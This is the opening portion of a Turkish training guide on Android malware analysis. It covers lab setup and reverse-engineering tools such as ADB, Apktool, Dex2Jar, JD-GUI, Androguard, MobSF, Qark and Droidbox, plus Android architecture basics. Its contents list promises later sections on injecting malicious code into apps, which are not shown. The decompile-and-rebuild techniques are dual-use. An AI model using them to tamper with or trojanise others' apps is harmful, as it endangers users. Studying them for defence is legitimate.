2. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
İÇİNDEKİLER
GİRİŞ 4
Neden Mobil Güvenlik? 5
Zararlı Yazılım ile Neler Yapabilir? 7
Lab Ortamının Kurulması ve Tersine Mühendislik Araçları 9
Android SDK (Software Development Kit) ve Android Studio Kurulumu 9
Android Emulatör Kurulumu 10
ADB (Android Debug Bridge) Kurulumu ve Kullanımı 12
BusyBox 16
Apktool 17
Dex2Jar 19
JD-GUI 20
Androguard 21
AndroBugs 24
MobSF 25
Qark 28
Droidbox 30
Android Mimarisi ve Güvenlik Yaklaşımı 38
APP COMPONENTS 41
Activities 41
Services 41
Broadcast Receivers 41
Content Providers 42
Uygulama: Kilit Ekranınız Rootlu Telefonunuzda Sizi Koruyor Mu? 43
SMS Okunması 43
Pattern Tespiti 44
Statik Analiz 48
Obfuscation 62
Dinamik Analiz ve Network Analizi 68
Log Analizi 69
3. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Memory Analizi 72
Uygulama 75
Network Analizi 77
Android Studio ile Tcpdump 79
Genymotion ile Tcpdump 79
Uygulama 79
Tersine Mühendislik Teknikleri İle Uygulama İçeriğini Değiştirme 81
Tersine Mühendislik Teknikleri İle Mevcut Uygulama İçerisine Zararlı Kod Ekleme 86
Uygulamaları Birleştirme 100
Gerçek Hayattan Zararlı Yazılım Analizi Uygulama Örnekleri 103
Simplocker Statik Analiz 105
Referanslar 126
4. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
GİRİŞ
Bu döküman Mobil Güvenlik alanına ilgisi olan ya da bu alanda kendini geliştrimek isteyen kişiler için
klavuz niteliğindedir. Dökümanda mobil güvenliğin neden önemli olduğundan, zararlı yazılımlar ile
neler yapılabileceğinden, lab ortamının kurulması ve tersine mühendislik araçlarından, android
mimarisi ve güvenlik yaklaşımından, tersine mühendislik teknikleri ile uygulama içeriklerine
müdehale etmek gibi konulardan uygulamalı olarak bahsedeceğiz.
5. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Neden Mobil Güvenlik?
Hayatımızın vazgeçilmez bir parçası olmuş mobil cihazların bizler için önemi bilinen bir gerçektir.
Taşınabilir özelliklerinin yanı sıra sahip oldukları; navigasyon, banka işlemleri, mesaj gönderimi,
fotoğraf çekimi, müzik arşivi, video oynatıcısı, bilet alımı, alışveriş yapabilme, gazete ve gündem
takibi gibi farklı cihazların sunduğu özellikleri tek bir bütün halinde karşımıza çıkarmaktadırlar.
Bunun sonucu olarak mobil cihazlar diğer cihazların aksine daha çok kitleye ivmesel bir artışla hitap
etmektedirler.
Facebook Büyüyen Pazarlar Ölçümleme Yöneticisi “Rishi Sexena” da “Televizyon 50 milyon
kullanıcıya 13 yılda, mobil cihazlar ise 2 milyar kullanıcıya 10 yılda erişti.” diyerek günümüzde mobil
devrimin yaşandığını ve mobil cihazların hayatımızdaki yeri/önemini bir kez daha vurgulamıştır. Peki
bu durum ülkemizde nasıl? sorusuna cevap vermek gerekirse 2016 yılında yapılan istatistiki değerlere
göre Türkiye nüfusunun %90’ının mobil aboneliğinin bulunduğu ve yaklaşık olarak 71 milyon kişinin
ise mobil bağlantıya sahip olduğunu tespit edilmiştir.
Dünya üzerinde yıllık olarak toplam indirilen mobil uygulama sayısı ise 2016 yılında 149.3 milyar iken
2021 yılında 352.9 olması beklenmektedir.
Yapılan araştırmalarda bir akıllı telefonda ortalama 26 indirilmiş uygulama bulunduğu ancak
bunlardan her hafta düzenli kullanılanların sayısının 10’dan az olduğu görülmüştür. İndirilen
uygulamalardan hiç şüpheye düşmeden indirdiğimiz uygulamalar GPS, NFC, bluetooth, kamera,
mikrofon, SMS ve QR kod okuyucu gibi özelliklere sahiptirler. Söz konusu uygulamalar sahip oldukları
bu özellikler aracılığı ile sürekli olarak dışarıdan bilgi toplamaktadırlar.
6. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Peki hassas bilgilerimizi tuttuğumuz ve sürekli olarak internete bağlı bulunduğumuz bu mobil
cihazlarda güvenliğimizden ne kadar bahsedebiliriz?
Diğer bir açıdan bakacak olursak;
Kontrolsüz büyümesi ile dünyayı saran, henüz uygulama geliştiricilerinin bile tam denetim sahibi
olamadığı uygulamalara sahip olan ve neredeyse bedenimize yapışık halde bizimle dolaşan; en
mahrem bilgilerimizi bulundurduğumuz bu akıllı cihazların güvenliğini ne kadar önemsiyoruz?
Telefonlarınızı yabancı ellere emanet etmek bir kenara en yakınlarınızın bile elinde görmekten
rahatsız oluyorsunuz. Kilit ekranı, parmak izi gibi önlemlerle bunu engellemeye çalışıyorsunuz. Ama
sizi her dakika gözlemleyebilen, bulunduğunuz yeri, görüntünüzü, görüşmelerinizi kısacası size ait
olan her özele erişim sağlayabilen art niyetli telefon yazılımlarının olduğunu biliyor muydunuz?
7. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Zararlı Yazılım ile Neler Yapabilir?
Zararlı yazılım olarak tercüme edebileceğimiz “malware” kelimesi; gizlice cihazları kontrol etmek,
özel bilgileri ele geçirmek ya da cihaz sahibinden para çalmak amacıyla yazılmış kötü niyetli
yazılımlara verilen addır. Bir zararlı yazılımın yapabilecekleri, bir yazılım geliştiricinin hayal gücünden
farksız ve hatta bazen fazladır.
Genelde insanların birçoğu telefon şarjının hızlı tükenmesinden şikayetçi olduklarını duymaktayız.
Oysaki birçok insan telefonlarında, çoğu zaman farkında dahi olmadan özünde çok tehlikeli olan
zararlı yazılımları barındırmaktadırlar. Peki bu zararlı yazılımlardan neden korkmalıyız?
Çünkü zararlı yazılımlar;
● Parola bilgilerinizi
● Banka hesaplarınızı
● Konum bilgilerinizi
● Nelerden hoşlandığınızı
● Mesaj geçmişlerinizi çalabilirler.
Hatta;
● Telefon görüşmelerinizi kayıt altına alarak sizden habersiz başka kişilere satabilir.
Ayrıca;
● Sizden habersiz başka kişilere spam mesajı yollayabillir,
● Sizden habersiz telefon aramaları yapabilir,
● Sizden habersiz veri kullanıp paketlerinizi bitirebilir,
● İzinsiz olarak istenmeyen reklamlar, spamlar, cinsel içerikli görüntüler gösterebilir,
● Batarya güç tüketiminizi arttırarak, şarj sürenizi azaltabilirler.
Her 10 mobil cihazdan 3’ünün tehlike altında olduğu günümüzde, zararlı yazılımlar şu yollarla
bulaşmaktadırlar;
● Zararlı bir uygulamanın kullanıcı tarafından indirilip çalıştırılması,
● Sürüm güncellemesi almayan ya da alındığı halde güncellenmeyen zafiyetli işletim sistemleri
bulunan cihazların kullanılması,
● Şüpheli e-postaların açılması,
● Güvenli olmayan Wi-Fi ağlarına bağlanılması ve güvensiz URL adreslerinin ziyaret edilmesi,
● Aldatma amacıyla gönderilen mesajlara ve yapılan aramalara cevap verilmesi gibi yollarla
bulaşmaktadırlar.
Geçmişten günümüze birçok zararlı yazılım ile karşılaşılmış, önlemler alınmaya çalışılmıştır.
Bunların birkaçından bahsedecek olursak;
Tarihte etkisini büyük çapta gösteren ve ilk bilinen mobil zararlı yazılım DroidDream’dır. Telefonu
root ederek kişiye ait hassas bilgileri sunucuya gönderen bu zararlı yazılım, başka uygulamaları da
kullanıcı gibi indirebilme özelliğine sahiptir. Piyasaya yayılması ise mağazada bulunan 50’den fazla
8. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
uygulamanın crack’li versiyonlarının zararlı kod enjekte edilmiş şekilde tekrar mağazalara ve
internete sunulması gerçekleşmiştir.
Coinminer, mobil cihazınızın CPU’sunu, hafızasını ve internet bağlantınızı kullanarak sanal para
üretme amacıyla çalışan bir zararlı yazılımdır.
Stagefright zararlısı ise telefon tarihindeki en kötü bug olarak bilinmektedir. Söz konusu zararlı,
android işletim sistemi kaynaklı bir zafiyet sebebiyle saldırgana hedef cihaza mesaj yollayarak ele
geçirme hakkı verir. Bu zafiyetten başınızın ağrıması için sadece size kötü niyetli mesajın gelmesi ve
android sürümünüzün bu zafiyeti barındırıyor olması yeterlidir.
Vermiş olduğumuz zararlı yazılım örneklerinden de referans alabileceğimiz gibi zararlı yazılıma
yakalanma riskimizi azaltmak ve kişisel verilerimizi koruma ihtiyacımızı gidermek için mobil
cihazımızı;
● Rootlamadan/Jailbreak yapmadan kullanmalı,
● Mümkün olduğunca sistem güncellemelerini yapmalı,
● Sistem güncellemeleri alan ürünleri tercih etmeli,
● VPN gibi encrypt teknolojileri ile network trafiğinde verilerimizi koruma altına almalıyız.
9. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Lab Ortamının Kurulması ve Tersine Mühendislik
Araçları
Analiz ortamını sanallaştırmak ve fiziksel bir cihaza ihtiyaç duymadan işlemlerinizi kolaylaştırarak
güvenli bir ortam sağlamak için “Android Emulatör” kullanılmalıdır. Çalışan bir Android Emulatör’e
sahip olabilmek için ise “Android SDK (Software Development Kit)” e ihtiyacınız vardır.
Android SDK (Software Development Kit) ve Android Studio
Kurulumu
SDK, sanal android cihaz kurulumu için gerekli olan uygulamaları barındıran; android geliştiricileri için
hazırlanmış uygulama paketidir. Android Studio’yu indirerek hem geliştirme ortamı hem de Android
SDK’yı temin edebilirsiniz.
Android Studio’ yu aşağıdaki linkten indirebilirsiniz.
● https://developer.android.com/studio/index.html
İlgili linkte yer alan .zip uzantılı Android Studio paketini indirdikten sonra öncelikle 64 bit bir sistem
kullanıyorsanız gerekli olan 32 bit kütüphaneleri aşağıdaki sistemler için verilen komutları kullanarak
indirebilirsiniz.
Debian tabanlı sistemler için;
sudo apt-get install libc6:i386 libncurses5:i386 libstdc++6:i386 lib32z1 libbz2-1.0:i386
Fedora için;
sudo yum install zlib.i686 ncurses-libs.i686 bzip2-libs.i686
- Bu aşamayı tamamladıktan sonra unzip komutu ile indirmiş olduğunuz zip dosyasını açılır.
- Ardından cd android-studio/bin/ komutu ile “bin” dizinine geçiş yapmalır.
- Son olarak “sh studio.sh” ile Android Studio yükleme penceresi başlatılır.
10. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Android Emulatör Kurulumu
Bu çalışmada daha kullanışlı olmasından dolayı Android Emulatör olarak “Genymotion” tercih
edilmiştir. Genymotion’ı;
● https://www.genymotion.com/account/create/ adresinden ücretsiz üyelik alarak
● https://www.genymotion.com/download adresinden deneme sürümünü indirebilirsiniz.
Bunun dışında da dilediğiniz Android Emulatör’ü kullanabilirsiniz.
Kurulum için;
- Öncelikle indirmiş olduğunuz dosya içerisindeki .bin uzantılı dosyaya “chmod +x” komutu ile
yürütme yetkisi verdikten sonra “./genymotiondosyaismi.bin” şeklinde kurulumunu
başlatabilirsiniz.
- Aşağıdaki gibi bir ekran ile karşılaşacaksınız.
- Bu ekranda “Add” butonuna tıklayarak dilediğiniz bir sanal android cihazı kurabilirsiniz.
11. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
- İstediğiniz android cihazı seçtikten sonra son olarak “Next” butonu ile kurulumu
tamamlamalısınız.
- Tüm bu işlemlerden sonra cihazınız gerekli kurulumları yaparak kullanıma hazır hale
gelecektir.
12. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
ADB (Android Debug Bridge) Kurulumu ve Kullanımı
ADB, fiziksel ya da sanal emulatör farketmeksizin yapmak istediğimiz işlemleri çok daha hızlı bir
şekilde tamamlamamıza olanak sağlayan ve bilgisayarımızla mobil cihazımız arasında köprü görevi
gören terminal arayüzü uygulamasıdır. ADB sayesinde mobil cihaz üzerindeki dizinlerde hareket
edebilir, kurulu paketleri listeleyebilir, SMS gönderimi, telefon araması gibi özellikleri kullanabiliriz.
Android Studio ile beraber indirmiş olduğumuz bu araç “~/Android/Sdk/platform-tools” dizininde
bulunmaktadır. Araçla alakalı birkaç temel komuta bakacak olursak;
adb devices: Bu komut bağlı olan cihazları gösterir. Şekilde 192.168.56.101 IP adresinde gözüken
cihaz Genymotion ile oluşturduğumuz cihazdır.
adb shell: Bu komut ise android cihazda shell almamızı ve linux komutlarını çalıştırmamızı sağlar.
13. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Eğer birden fazla cihaz bilgisayarımıza bağlı ise shell almak istediğimiz cihaz;
- Emulatör ise
adb --e shell
- Fiziksel cihaz ise
adb --d shell
komutlarını kullanırınız.
Çok daha fazla cihaz arasından seçim yapılacak ise;
adb --s X.X.X.X:SSS shell
komutu ile seçim yapılabilir. Buradaki X’ ler “adb devices” komutundaki IP adresini S’ler ise port
numarasını temsil etmektedir.
Shell içerisinde cihazımızda kurulu olan paketleri görebilir. Dizinler arası geçiş yapabiliriz.
14. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Yukarıdaki ekran görüntüsünde de görüldüğü gibi shellimiz “root” yetkilerinde çalışmakta,
“/data/data” dizinine sahip olduğumuz yetkiler sayesinde ulaşabimekte ve “pm list packages”
komutu ile kurulu olan paketleri görebilmekteyiz.
adb push: Bu komut ile android cihaza dosya gönderebiliriz.
adb pull: Bu komut ile android cihazdan dosya indirebiliriz.
screencap: Bu komut ile android cihazdan ekran görüntüsü alabiliriz.
15. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
ADB uygulaması kullanılarak, çalışan bir uygulama üzerinde ekrana sayısı verilen miktarda rastgele
basarak uygulamayı “stress testi” adı verilen teste tabi tutabiliriz. Bunun için örnek olarak 1000 kez
ekrana rastgele girdi veren komut şu şekildedir;
adb shell monkey -p your.package.name -v 1000
Son olarak ADB uygulamasını kullanarak cihazımıza uygulama yükleyebilir ya da silebiliriz.
İndirilen uygulamaya ait arayüz aşağıda verilmiştir.
16. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Yüklü paketleri listeleyerek de ilgili uygulamanın kurulu olduğunu gözlemleyebiliriz. İlgili uygulamayı
silmek istediğimizde ise “uninstall” komutunu silmek istediğimiz ilgili paket ismiyle birlikte
kullanmamız yeterli olacaktır.
BusyBox
ADB aracında olduğu gibi, mobil cihaz üzerinde shell alma amacıyla ortaya çıkmıştır. ADB aracının
barındırmadığı Linux komutlarını da içermektedir. Genymotion ile kurulu olarak gelmektedir. “adb”
ile shell alındıktan sonra cd komutu ile /system/xbin dizinine gidilerek ./busybox komutunun
uygulanması ile ilgili komutlar listelenebilir.
17. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Apktool
Bir .apk dosyasını açmaya çalıştığımızda karşımıza çıkan yapı şu şekildedir;
“.dex” formatında olan bu yapıyı anlamlandırabilir hale getirmek için decompile etmeliyiz. Apktool
android .apk dosyalarını decompile etmek için kullanılan araçtır. Decompiler sonucunda smali adını
verdiğimiz ara kodları elde ederiz.
.dex <------------------> .smali <--------------------- java source code
Apktool’un son versiyonunu;
● https://ibotpeaches.github.io/Apktool/
adresinden indirebilirsiniz.
İndirmiş olduğunuz jar dosyası decompiler etmek için “d” parametresi ile çalıştırmalısınız.
Decompiler sonucunda;
● Resources (xml dosyaları ve resimler)
● Manifest File
● Yml Dosyası (sdk ve versiyon bilgisi)
● Smali Dosyası
oluşmaktadır.
18. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Oluşan dosyalara ait örnek bir ekran görüntüsü aşağıda verilmiştir.
Buradaki manifest dosyasını açtığımızda neredeyse orjnaliyle aynı bir manifest dosyası elde ettiğimizi
görüyoruz.
19. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Ayrıca ApkTool sadece decompiler yapma işlemi için değil, aynı şekilde decompiler edilmiş bir apk
dosyasını derleme yaparak paketleme işlemi için de kullanılmaktadır. Bunun için “b” (build)
parametresi kullanılır.
Dex2Jar
Bir diğer tersine mühendislik aracımız olan Dex2Jar “.dex” formatında yer alan apk içerisindeki
dosyaları “.jar” uzantılı java binary dosyalarına çevirir.
.jar uzantılı java binary dosyalarına dönüştürülmüş olan bu dosyalar başka bi java decompiler aracı
kullanılarak rahatlıkla kaynak koda dönüştürülebilir.
Bu aracı aşağıdaki linkten indirebilir;
● https://sourceforge.net/projects/dex2jar/?source=typ_redirect
ve programını açarak “./d2j-dex2jar.sh” aracılığıyla çalıştırabilirsiniz.
Yukarıdaki ekran görüntülerinde de görüldüğü gibi örnek olarak “BGA_Mucahid.apk” uygulaması
decompiler edilerek “output.jar” dosyasına dönüştürülmüştür.
20. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
JD-GUI
JD-GUI programı, dex2jar programı ile decompiler ettigimiz “.jar” uzantılı java binary dosyalarını
source koda çevirmemize yarayan bir decompiler aracıdır. Kullandığınız işletim sistemine göre uygun
versiyonu;
● https://github.com/java-decompiler/jd-gui/releases
adresinden indirebilirsiniz.
Bununla alakalı kısa bir örnek yapacak olursak adımlar şu şekildedir;
- Öncelikle indirmiş olduğumuz .jar uzantılı JD-GUI programını “java -jar jd-gui-1.4.0.jar”
komutuyla çalıştırıyoruz.
- Sonra grafik arayüze sahip olduğumuz programımızda “File” sekmesinden “Open File” tuşuna
basarak gelen dizin ekranından az önce “Dex2Jar” programı ile oluşturduğumuz “output.jar”
dosyasını seçiyoruz.
- Bu işlemleri, oluşturulmuş olan output.jar dosyasını JD-GUI içerisine sürükle bırak yaparak da
bu işlemleri kısa yoldan tamamayabilirsiniz.
21. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Decompiler işlemi sonucunda ise android geliştiricinin yazmış olduğu kodları elde ediyoruz.
Androguard
Statik analiz yapmak için geliştirilmiş olan, birden fazla özelliği içinde barındıran kullanışlı bir
programdır. Dex2Jar +JDGui’nin beraber kullanılması gibi düşünülebilir. İçerisinde birden fazla araç
barındırmaktadır.
Bu aracı Debian sunucularında paket olarak indirmek için;
● https://packages.debian.org/stretch/amd64/androguard/download
linkini kullanabilirsiniz.
İndirmiş olduğunuz “.deb” paketini, ilgili dizine giderek şu şekilde kurabilirsiniz.
“-s” paremetresiyle IPython üzerinden çalıştırılan toolumuza analizini yapacağımız apk dosyasını, “a”
değişkenine atayarak tanımladık.
22. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Statik analizde tekrar kullanacağımız bu program üzerinde çok daha fazla detaya girmeden örnek
kullanım üzerinde apk dosyasının sahip olduğu izinler, uygulama ismi, main activitiy ismi ve bütün
activitiy isimleri listelenmiştir. Activitiy tanımı ve bizler için önemi Android Mimarisinde
bahsedilecektir.
23. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Son olarak Androguard uygulamasının androlyze den ibaret olmadığını ve şu uygulamaları
barındırdığını belirtmekte fayda var;
● Androaxml
● Androsim
● Androdd
● Apkviewer
● Androapkinfo
Aşağıdaki ekran görüntüsünde örnek olarak “Androaxml” kullanılarak XML formatındaki manifest
dosyasının “.apk “uzantılı dosyadan elde edilmiş hali gösterilmiştir.
24. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
AndroBugs
AndroBugs zafiyet araştırmalarında karşımıza çıkan ve tersine mühendislik tekniklerini kullanarak
statik analiz yapan python ile yazılmış bir programdır. İşin ofansif kısmının yanı sıra uygulama
hakkında da kritik bilgileri detaylı bir rapor ile bize sunduğu için analiz kısmı için de oldukça
önemlidir.
Programı;
● https://github.com/AndroBugs/AndroBugs_Framework
adresinden indirerek ve -f parametresine analiz edilmek istenilen programı vererek çalıştırabiliriz.
Program, analizi yapılan “.apk” dosyasının hangi kritik bilgileri içerdiği raporunu Androbugs
içerisindeki “Reports” klasörü altında sunar.
Yukarıdaki ekran görüntüsünde görüldüğü üzere [Critical] [Warning] [Notice] [Info] başlıkları alltında
.apk dosyası hakkındaki bilgiler karşımıza çıkmaktadır. Apk içerisinde
25. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
'Runtime.getRuntime().exec("...")'. fonksiyonunun bulunduğu ve bunun kritik bir bilgi olduğunu
belirtmiştir.
MobSF
Mobile Security Framework kelimelerinin kısaltması olarak karşımıza çıkan bu araç, mobil
uygulamaların statik analizini yapmak için oluşturulmuştur. Python programlama diliyle yazılan
MobSF, web arayüzü kullanmaktadır. Dinamik analiz özelliği de kazandırılmış olan MobSF oldukça
kullanıcı dostu ve kullanışlı bir programdır.
Bu aracı;
● https://github.com/MobSF/Mobile-Security-Framework-MobSF
adresinden indirerek aşağıdaki ekran görüntüsünde verilen dizine gidierek ilgili komut ile
başlatabilirsiniz.
Daha sonra tarayıcınızdan http://localhost:8000/ adresine giderek arayüze erişim sağyabilirsiniz.
26. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Upload butonuna tıklayarak ilgili apk dosyası seçilir. Eğer analizini yapmak istediğiniz apk da hata
alıyorsanız, muhtemelen “requirements.txt” dosyasında yer almayan farklı bir django versiyonu
kullanıyorsunuzdur. Sırasıyla “python manage.py migrate” ve “python manage.py makemigrations”
komutlarını uygulamanız sorunu giderecektir.
Dosya analizi yapıldıktan sonra şekildeki gibi çeşitli bilgiler ekrana gelecektir.
28. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Qark
Zafiyet tarama ve kod analizi araçlarından bahsettikten sonra LinkedIn Pentester’ ları tarafından
Black Hat’te sunumu yapılan, gelecekte çok daha güçlü bir araç olacağı söylenen Qark zafiyet tespiti
ve exploitationda kullanılan açık kaynak kodlu statik analiz yapan bir araçtır.
Bu aracı;
● https://github.com/linkedin/qark
adresinden indirebilirsiniz. Araç “/qark-master/qark/” dizini altında “qarkMain.py” adında python
uzantılı bir dosyanın çalıştırılması ile başlamaktadır.
“python qarkMain.py” komutu ile başlatılan program Android SDK indirmek istiyor musunuz
sorusuyla bizi karşılamaktadır.
Android SDK kurulumunu daha önceden gerçekleştirdiğimiz için bu soruya “N” diyerek SDK’nın
yolunu verebilirsiniz. Android Studio ile kurduğumuz SDK “/home/KullanıcıAdınız/Android/Sdk”
yoluna sahiptir.
Analiz yapmak için bir APK mı yoksa kaynak kodu mu vereceğimizi sormaktadır. 1 numaralı APK
seçeneğini seçiyoruz.
29. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
APK yolunu mu yoksa adb programını öğrenirken yaptığımız gibi cihazdan mı uygulama çekmek
istediğimizi soruyor. 1 numaralı yol verme seçeneğini seçiyoruz.
Daha sonra manifest dosyasını görmek isteyip istemediğimizi bize soran program, yaptığı analiz
sonuçlarını klasörün altında “report.html” adında .html uzantılı bir dosya olarak bize sunmaktadır.
30. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Droidbox
Droidbox, öğrenilmiş olan diğer araçlardan farklı olarak dinamik analiz yapan bir araçtır. Dinamik
analiz, statik analizden farklı olarak programın çalışır durumdaki davranışlarını inceleyerek yapılan bir
analiz çeşididir.
Droidbox ile:
● Dosya okuma, yazma işlemleri
● Kritpografik API aktiviteleri
● Ağ trafiği
● Ağ bağlantıları
● SMS gönderimleri
● Telefon çağrıları
analiz edilebilir.
Droidbox’ı;
● https://github.com/pjlantz/droidbox
adresinden indirebilirsiniz. İndirilmiş olan zip dosyasını dilediğiniz dizine çıkartabilirsiniz.
Öncelikle Droidbox programını kullanabilmek için AVD (Android Virtual Device)’ye ihtiyaç vardır. AVD
aynı Genymotion gibi bir android emulatördür. Android Studio içerisinde yüklü olarak gelmektedir.
31. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Android Studio’ yu çalıştırarak “Run” butonuna bastığımız zaman karşımıza çıkan ekranda kurulu olan
emulatörler listelenmektedir. Şimdi “Create New Virtual Device” butonuna tıklayarak yeni bir
emulatör oluşturuyoruz.
32. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Nexus 4 seçeneğini seçerek “Next” butonuna tıklıyoruz.
Karşımıza çıkan ekranda android sürümü olarak “Jelly Bean” tercih edilmiştir. Bunu tercih etmemizin
sebebi ise Droidbox programı için önerilen android versiyonu olmasıdır.
33. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Gelen ekranda cihazımıza ulaşmak için kullanacağımız AVD ismi belirlenir. Görselde “BGA” olarak
belirtilmiştir.
Gerekli kurulum işlemi gerçekleştirildikten sonra Android Studio kapatılarak terminal ekranında
sadece emulatör çalıştırılır. Droidbox/images klasörü altındaki 7zip uzantılı dosyalar unpack edilir.
“~/Android/Sdk/tools” dizini altında “./emulator -list-avds” komutu ile kurulu cihazlar listelenelerek,
“./emulator -avd cihazismi” komutu ile emulator başlatılır. Burada normal kullanımdan farklı olarak
-system Droidboxdizini/images/system.img -ramdisk Droidboxdizini/images/ramdisk.img -wipe-data
-prop dalvik.vm.execution-mode=int:portable parametreleri de verilir.
34. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Artık gerekli olan ortamı hazırladığımıza göre “/droidbox-master/droidbox4.1.1” altında yer alan .sh
uzantılı scripti “./droidbox.sh apkyolu analizsüresi” şeklinde çalıştırabiliriz.
Uygulamada;
./droidbox.sh BGA.apk
olarak süre limiti olmadan çalıştırılmıştır.
35. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Ekran görüntüsünde görüldüğü gibi bir hatayla karşılaşılması sonucu sorunun Droidbox Python
kodundan kaynaklı olduğu düşüncesiyle hata alınan yere “shell=true” kodu eklenerek hata
giderilmiştir. Unutulmamalıdır ki böyle bir hatayla karşılaşmıyorsanız bu adımı yapmanıza gerek
yoktur.
Kodu düzeltmek için;
- Öncelikle scripts dizinine giderek droidbox.py uzantılı python kodunu metin editörü kullarak
açıyoruz.
- 317. satırda (ilgili satırda) yer alan ifadeye shell=True parametresini ekliyoruz.
- Dosyayı kaydedip çıkıyoruz.
36. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Kaydederek kapatılan dosyada tekrar droidbox.sh dosyasının bulunduğu bir alt dizine “cd ..” komutu
ile gidilerek tekrar “./droidbox.sh BGA.apk” komutu çalıştırılır.
Başarılı şekilde başlatıldığı görülen Droidbox uygulamasında apk dinamik analizi yapılması için analizi
yapılacak olan uygulama emulator yardımıyla yüklenerek çalıştırılır. Bunun için adb komutunu
kullabileceğiniz gibi buna gerek duymadan .apk uzantılı dosyayı emulatöre sürükle bırak yaparak da
kurabilirsiniz.
37. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Uygulama çalıştırıldıktan sonra uygulamanın çalıştırıldığı bilgisi ve log kayıtları Droidbox’ımızın açık
olduğu terminale aşağıdaki ekran görüntüsünde görüldüğü gibi düşmektedir.
38. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Android Mimarisi ve Güvenlik Yaklaşımı
Android, Linux işletim sistemi baz alınarak oluşturulmuş; televizyon, tablet, akıllı telefonlar gibi
günümüz modern cihazlarının birçoğunu domine etmiş mobil işletim sistemine verilen addır. Açık
kaynak olması, yine herkes tarafından ürün konulup satın alınabilen bir markete sahip olması,
geliştirme ortamında Java gibi popüler bir dilin kullanılması insanların kısa sürede ilgisini çekmiştir.
Android İşletim Sistemi’nin başlıca özellikleri şunlardır:
● Android İşletim Sistemi tıpkı IOS İşletim Sistemi gibi minimum yetkilerde çalışma prensibini
uygular.
● Varsayılan olarak her uygulama yalnızca çalışması için gerekli olan bileşenlere sahiptir.
● Uygulamalar birbirine ait dosyalara dosya sistemi üzerinden ulaşamaz.
● Üçüncü Parti Uygulamalar kullanıcılardan ekstra ayrıcalık talep eder.
● Uygulamaların yüklenebilmesi için imzalanmış olması, güncellemeleri alabilmesi için ise
orjinal imzaya sahip olması gerekir.
● Sistem kaynaklarına (internet, gps, nfc, SMS, galeri vb) erişmek isteyen uygulamalar bu hakkı
istedikleri kaynakları kurulum esnasında talep eder. Bu izinler, APK (Android Application
Package) içerisinde yer alan AndroidManifest.xml dosyası içerisinde uygulamanın geliştirilme
aşamasında belirtilmiş olarak bulunur.
39. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
● Kurulan her uygulama kendisine ait bir “id” değeri ile yine kendisine ait “Dalvik VM” adı
verilen sanal makinelerde çalışmaktadır.
● Uygulamalar Dalvik VM içerisinde Dalvik Executable (.dex) formatında bulunmaktadır.
● Dalvik VM yerini Android 4.4 Kitkat versiyonu ile Android Run Time (ART) ‘a bırakmaktadır.
● ART, Dalvik VM’ye göre uygulamaların daha stabil ve hızlı çalışmasını sağlamaktadır.
40. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
● Uygulamalar çalıştırıldıktan sonra her seferinde bytecodeların Dalvik VM tarafından
derlenmesine gerek kalmadan, uygulamaları native dillerine yakın bir hız ile çalıştırmayı ve
şarj süresini arttırmayı amaçlayan bir teknolojidir.
● Dalvik VM’ye göre dezavantajı ise uygulamaların kapladığı alanın daha büyük olmasıdır.
